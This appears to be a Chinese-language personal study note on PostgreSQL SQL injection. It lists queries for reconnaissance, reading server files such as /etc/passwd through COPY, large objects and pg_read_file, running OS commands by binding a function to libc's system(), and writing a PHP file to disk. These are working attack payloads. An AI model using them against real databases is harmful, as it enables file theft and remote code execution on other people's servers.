0%

PostgreSQL注入基本操作

对PostgreSQL的基本操作和注入不是很了解,做一些笔记。

常用函数查看基本信息:

查看版本信息

1
SELECT version();

version

查看当前用户

1
SELECT current_user;

current_user

查看启动该sesson的用户

1
SELECT session_user;

sesesion_user

查看当前数据库

1
SELECT current_database();

current_database

PostgreSQL下的IF

1
2
3
4
5
6
CASE 
WHEN condition_1 THEN result_1
WHEN condition_2 THEN result_2
[WHEN ...]
[ELSE else_result]
END

case_when

读取文件

注意:需要Superuser权限,低版本pg_read_file不支持绝对路径,仅能读取data_directory目录下的文件。可以使用show data_directory获取路径。

data_directory

访问data_directory路径下的文件,使用相对路径也可。

data_directory3

  • 创建数据表把读到的文件copy入表:
1
2
3
4
drop table demo;
CREATE TABLE demo(t TEXT);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo limit 1 offset 0;

结果如下所示:(读取一行)

data_directory2

  • 利用postgresql大对象处理来读文件
1
2
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

结果如下所示:

data_directory4

  • 高版本直接利用pg_read_file读取文件:
1
SELECT pg_read_file(filepath+filename);

结果如下所示:

read_file

执行命令

Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令:

1
2
3
create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');

需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法 调用系统libc.sso.6,需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。

当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行,具体参加下面参考文章。

写入文件

1
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

save

参考文章:

postgresql高版本UDF提权技巧

Hacking PostgreSQL

渗透中利用postgresql getshell

SQL Injection and Postgres - An adventure to eventual RCE

PostgreSQL injection

PostgreSQL for red teams